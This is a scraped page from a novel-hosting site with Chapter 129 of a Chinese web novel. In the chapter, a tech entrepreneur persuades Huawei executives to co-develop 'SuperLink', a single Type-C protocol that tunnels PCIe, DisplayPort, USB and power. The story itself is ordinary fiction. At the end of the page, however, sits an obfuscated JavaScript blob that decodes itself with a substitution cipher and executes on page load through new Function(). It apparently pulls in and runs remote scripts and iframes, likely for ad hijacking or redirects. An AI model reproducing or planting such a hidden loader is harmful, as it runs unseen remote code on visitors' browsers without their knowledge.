首页
第129章 SuperLin
返回
关灯 护眼:关 字号:小

第129章 SuperLink协议:定义未来二十年标准!

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第129章SuperLink协议:定义未来二十年标准!(第1/2页)
    “啪。”
    顾屿手中的记号笔笔帽被弹飞,他在白板中央重重地点了一个黑点,力透纸背。
    “各位,刚才那一波又是快充又是盲插的,说白了,就是给用户的一点‘甜头’,开胃菜而已。”
    他转过身,双手撑在桌沿,目光越过众人,仿佛在审视十年后的那个世界。
    “真正的正餐,在于这根线里流淌的东西。”
    顾屿眼神一扫,精准锁定老严:
    “严工,你是搞硬件架构的泰斗。我就问你一句,现在的电脑和手机,屁股后面拖着一堆线,像不像挂着尿袋?”
    老严眉头一皱,下意识瞥了一眼手边的ThinkPad。
    厚重的机身上,VGA口、网口、USB口、电源圆口……密密麻麻开了一圈洞,跟马蜂窝似的。
    丑,确实丑。
    乱,也是真乱。
    “现在的设备,是分裂的,是诸侯割据。”
    顾屿回身,在白板上画了一个方框代表电脑,然后在周围画了一圈乱七八糟的触角。
    “传数据要走USB,接显示器得用HDMI或者DP,连网线要插RJ45,充电还得专门弄个笨重的电源适配器。每一条通道都有自己的‘方言’,老死不相往来,效率低得令人发指。”
    “我想做的,是秦始皇做过的事,书同文,车同轨。”
    顾屿手中的笔在白板上那堆乱七八糟的接口上打了个大大的红叉,然后干脆利落地画了一条贯穿始终的直线。
    “我把这个协议,命名为——SUperLink(超级链接)。”
    随后,他在直线上写下了一串字符:
    【PCIe+DiSplayPOrt+USB+POWer】
    “我的野心很简单:在这根Type-C的线缆里,不仅要跑USB信号,还要把PCIe总线协议和DP视频协议,统统打包塞进去!”
    “这就是我要华为做的事——协议隧道化(TUnneling)。”
    老严猛地摘下眼镜,眼镜腿磕在桌子上发出脆响。
    他是行家,只看了一眼,头皮就炸了。
    PCIe是什么?
    那是电脑主板的大动脉!
    是显卡、声卡、网卡直接跟CPU对话的最高速通道!
    把这条大动脉,通过一根细细的数据线,直接引到机箱外面来?
    “顾总……你、你知道你在说什么吗?”
    老严声音干涩,喉咙里像塞了把沙子,
    “这等于把电脑的主板无限延伸出去了!如果这能实现……那以后笔记本还需要显卡吗?直接外接一个显卡坞不就完事了?”
    “BingO!答对了。”
    顾屿打了个响指,笑得像个诱惑世人的魔鬼,
    “不仅是显卡坞。想象一下,你下班回家,只需要把手机或者轻薄本,往Type-C线上一插。”
    “这一根线,同时给你供电。”
    “同时把画面以4K60帧的满血画质输送到大屏显示器。”
    “同时连接千兆网络。”
    “甚至……”
    顾屿在白板上画了一串像糖葫芦一样的设备,
    “支持‘菊花链’拓扑。”
    “电脑连显示器,显示器连硬盘阵列,硬盘再连外置显卡……一根线,串起所有设备。这就叫——一线通。”
    死寂。
    绝对的死寂。
    只有投影仪风扇“呼呼”的转动声,像是在嘲笑在场众人的想象力贫瘠。
    这太超前了,简直是来自未来的降维打击。
    2012年,英特尔的雷电接口(ThUnderbOlt)还在穿开裆裤,用的是昂贵又小众的MiniDP接口。
    而顾屿描述的,是一个廉价、通用、统一度量衡的全新未来。
    “但这需要极高的带宽和信号完整性,这简直是在走钢丝!”
    老严毕竟是顶级专家,瞬间抓住了痛点,
    “要把这么多协议塞进两对差分信号线里,串扰怎么解决?衰减怎么解决?目前的铜线工艺,跑个5GbpS就是极限了,你要跑视频加PCIe,起码得20G甚至40G的带宽!”
    “所以啊,我才找华为。”
    顾屿身子前倾,目光灼灼,死死盯着余大嘴和老严,语气带着一丝狂傲的挑衅。
    “放眼全中国,甚至全世界,论信号调制解调,论抗干扰算法,论SerDeS(串行器/解串器)技术,除了做基站起家的华为,谁还有这个本事?”
    “如果连华为都搞不定,那我只能去找英特尔了。”
    激将法。
    赤裸裸的阳谋。
    但余大嘴这种赌徒性格,偏偏就吃这一套,而且吃得死死的。
    “妈的,说得好!”
    余大嘴猛地一拍桌子,茶杯盖都被震得跳了起来。
    他满脸红光,那是看到了绝世好牌时的亢奋,
    “老严!技术上的弯弯绕我不懂太细,我就问你一句,这玩意儿理论上能不能搞?!”
    老严盯着白板上那个复杂的拓扑图,脑子里的CPU疯狂运转,算力拉满。
    良久,他长叹一口气,眼神里却燃起了一团名为“朝闻道”的火。
    “难。难于上青天。”
    “我们要重新设计物理层(PHY),要搞定极高频的信号抖动,还要在此基础上兼容那该死的USB2.0和3.0……”
    老严顿了顿,抬起头,看向顾屿的眼神里,已经没有了最初的大厂傲慢,取而代之的是一种对疯子的敬畏。
    “但是,如果做成了……”
    (本章未完,请点击下一页继续阅读)第129章SuperLink协议:定义未来二十年标准!(第2/2页)
    “如果做成了,我们就掌握了未来二十年电子设备连接的‘宪法’。”
    “以后所有的设备,不管是谁造的,只要想连接,就得按我们的规矩来,交我们的税!”
    “前期,我们还要兼容USB,那是为了生存,不得不低头。”
    顾屿补充道,
    “但后期,我们要完全抛弃USB-A口和B口。我要让未来的笔记本电脑,侧面只有Type-C,再无其他孔洞。”
    “这就是我说的消灭接口。”
    一直站在角落当背景板的周晨,听得鸡皮疙瘩起了一身。
    他是搞软件的,但他听懂了顾屿这盘棋的真正杀招。
    这哪里是做硬件?
    这是在给未来的操作系统铺路啊!
    如果硬件层能做到这种程度的互联互通,那软件层的“分布式计算”,就真的有了物理基础。
    “老板这是在下一盘大棋……”
    周晨喃喃自语,
    “这盘棋大到,连华为都只是棋盘上的一颗过河卒。”
    林溪虽然听不懂那些SerDeS、PCIe之类的天书,但她看得懂人的表情。
    那个一开始鼻孔朝天、恨不得用下巴看人的华为首席专家老严,现在正像个听课的小学生,拿着笔记本飞快地记录着顾屿说出的每一个参数定义。
    而那位传说中脾气暴躁的余总,正看着顾屿,眼神温柔得像是在看自家祖坟冒青烟。
    “那个……顾总。”
    余大嘴搓了搓手,那种匪气收敛了不少,换上了一副狼外婆诱拐小红帽的表情。
    “这个SUperLink协议,既然是咱们两家合作……”
    “专利池共享,核心代码共有。”
    顾屿知道他在想什么,直接给出了底线,
    “但我有个条件。”
    “你说!只要不是要我华为的股份,要把我余大嘴卖了都行!”
    余大嘴把胸脯拍得震天响。
    “我要华为派出一支精锐的技术团队,进驻这栋破楼。”
    顾屿指了指脚下的水泥地,语气不容置疑。
    “人不在多,要精。起码得是P15以上的专家,懂底层驱动、能改协议栈的那种。前期不需要太多,五十号人就够,但这帮人得听我指挥。”
    顾屿顿了顿,目光变得锐利。
    “另外,最关键的一点。海思半导体那边,要把这个协议控制芯片的流片优先级,提到最高。我要在三个月内,见到第一颗能用的国产协议芯片。”
    “还有,关于菊花链和联网功能,目前的硬件水平可能还跟不上,我们可以分三步走。”
    “第一步,搞定正反插和18W快充,外加USB3.0数据,这是‘超级链接协议1.0’,随华为下一代旗舰机首发。”
    “第二步,搞定4K视频输出和60W充电,这是2.0。”
    “第三步,才是完全体的SUperLink,40GbpS带宽,外接显卡,万物互联。”
    顾屿条理清晰,步步为营,把大饼画得又大又圆,却又切切实实地落在了实处。
    “成交!”
    余大嘴根本没犹豫,直接站起来伸出手,生怕顾屿反悔。
    “五十个人!我从深圳总部给你调最顶尖的硬件特战队过来!全是带过项目的硬茬子!工资华为发,差旅华为包,只要能把这东西搞出来,缺什么设备我给你运什么设备!”
    他咬了咬牙,狠狠地补充道:
    “至于海思那边,我去砸门!谁敢拦着流片,我就睡在他办公室门口!”
    两只手,再次紧紧握在一起。
    这一次,没有了试探,只有盟约。
    旁边的李正国看着这一幕,激动得手都在抖,心里那个算盘珠子拨得噼里啪啦响。
    华为要给星火科技“打工”了!
    虽然人数不多,但这五十个可是华为的精锐啊!
    自带干粮,倒贴技术,还要帮着流片!
    这就好比借了特种部队来给自己看家护院,这不仅仅是省钱的问题,这是直接借用了华为千亿级别的研发体系啊!
    这特么哪是找合作伙伴啊,这是最高级别的“空手套白狼”啊!
    顾总这手段,简直是资本家听了都要流泪,犹太人看了都得下跪拜师。
    “孙律,别愣着了!”
    余大嘴回头吼了一嗓子,
    “把那个什么……战略合作协议,拿出来!改!按顾总说的改!现在就签!”
    那个之前精明强干的女律师,此刻也被这场面震住了,手忙脚乱地从公文包里掏电脑和便携打印机。
    半小时后。
    就在这张堆满电子元件的长条桌上。
    《华为终端有限公司与星火科技有限公司关于下一代连接标准及快充协议的联合研发战略合作备忘录》。
    名字很长,很拗口。
    但在落款处。
    顾屿签下了自己龙飞凤舞的名字。
    余大嘴盖上了华为终端的鲜红公章。
    一式两份,落子无悔。
    顾屿拿起合同,轻轻吹了吹未干的印泥。
    窗外,夕阳西下,残阳如血,将这栋破败的红砖厂房染成了一片金红,仿佛预示着一个旧时代的落幕。
    “余总,合作愉快。”
    顾屿笑着伸出手,眼神深邃,
    “或许很多年后,人们会忘记今天发生了什么。但每当他们随手拿起一根线,不用看正反,直接插进设备,就能充电、传数据、投屏的时候……”
    “他们会感谢这两个名字。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();